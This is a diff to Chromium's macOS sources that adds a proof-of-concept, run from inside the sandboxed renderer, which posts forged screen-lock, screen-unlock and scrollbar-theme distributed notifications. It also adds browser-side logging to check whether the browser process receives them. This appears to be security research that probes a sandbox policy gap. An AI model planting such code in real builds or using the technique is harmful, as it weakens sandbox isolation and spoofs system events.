diff --git a/content/renderer/renderer_main_platform_delegate_mac.mm b/content/renderer/renderer_main_platform_delegate_mac.mm index 0000000..0000001 100644 --- a/content/renderer/renderer_main_platform_delegate_mac.mm +++ b/content/renderer/renderer_main_platform_delegate_mac.mm @@ -5,8 +5,11 @@ #include "content/renderer/renderer_main_platform_delegate.h" #import +#include +#include #include "base/check_op.h" +#include "base/logging.h" #include "sandbox/mac/seatbelt.h" #include "sandbox/mac/system_services.h" @@ -59,6 +62,47 @@ bool RendererMainPlatformDelegate::EnableSandbox() { // been initialized. CHECK(sandbox::Seatbelt::IsSandboxed()); + // --------------------------------------------------------------------------- + // POC: Attempt to post distributed notifications from inside the renderer + // seatbelt sandbox. renderer.sb grants: + // (allow mach-lookup (global-name "com.apple.distributed_notifications@Uv3")) + // but does NOT explicitly (deny distributed-notification-post). This test + // determines whether (deny default) covers that operation on this OS version. + // + // We post on a short delay so the browser process has finished registering + // its CFNotificationCenterGetDistributedCenter() observers + // (ScreenlockMonitorDeviceSource, SystemThemeObserver, idle_mac.mm). + // --------------------------------------------------------------------------- + LOG(ERROR) << "[POC] renderer pid=" << getpid() + << " sandboxed=" << sandbox::Seatbelt::IsSandboxed() + << " — scheduling distributed-notification posts"; + dispatch_after( + dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2 * NSEC_PER_SEC)), + dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + CFNotificationCenterRef dc = + CFNotificationCenterGetDistributedCenter(); + LOG(ERROR) << "[POC] posting com.apple.screenIsLocked from " + "sandboxed renderer"; + CFNotificationCenterPostNotification( + dc, CFSTR("com.apple.screenIsLocked"), /*object=*/nullptr, + /*userInfo=*/nullptr, /*deliverImmediately=*/true); + + LOG(ERROR) << "[POC] posting com.apple.screenIsUnlocked from " + "sandboxed renderer"; + CFNotificationCenterPostNotification( + dc, CFSTR("com.apple.screenIsUnlocked"), /*object=*/nullptr, + /*userInfo=*/nullptr, /*deliverImmediately=*/true); + + LOG(ERROR) << "[POC] posting AppleAquaScrollBarVariantChanged from " + "sandboxed renderer"; + CFNotificationCenterPostNotificationWithOptions( + dc, CFSTR("AppleAquaScrollBarVariantChanged"), /*object=*/nullptr, + /*userInfo=*/nullptr, + kCFNotificationDeliverImmediately | + kCFNotificationPostToAllSessions); + LOG(ERROR) << "[POC] posts dispatched (check Console.app for any " + "Sandbox 'deny distributed-notification-post' entries)"; + }); + // Inform various system services that they should not attempt to acquire // resources that will be blocked by the sandbox. DisableSystemServices(); diff --git a/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm b/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm index 0000000..0000001 100644 --- a/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm +++ b/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm @@ -6,6 +6,8 @@ #include +#include "base/logging.h" + namespace content { namespace { @@ -18,6 +20,8 @@ void OnScreenlockNotificationReceived(CFNotificationCenterRef center, CFStringRef name, const void* object, CFDictionaryRef userInfo) { + LOG(ERROR) << "[POC][BROWSER] OnScreenlockNotificationReceived fired in " + "browser process pid=" << getpid(); ScreenlockMonitorSource::ScreenlockEvent screenlock_event; if (CFEqual(name, kScreenLockedEvent)) { screenlock_event = ScreenlockMonitorSource::SCREEN_LOCK_EVENT; diff --git a/content/browser/theme_helper_mac.mm b/content/browser/theme_helper_mac.mm index 0000000..0000001 100644 --- a/content/browser/theme_helper_mac.mm +++ b/content/browser/theme_helper_mac.mm @@ -219,6 +219,8 @@ } - (void)notifyPrefsChangedWithRedraw:(BOOL)redraw { + LOG(ERROR) << "[POC][BROWSER] notifyPrefsChangedWithRedraw fired in browser " + "process pid=" << getpid() << " redraw=" << (bool)redraw; for (RenderProcessHost::iterator it(RenderProcessHost::AllHostsIterator()); !it.IsAtEnd(); it.Advance()) {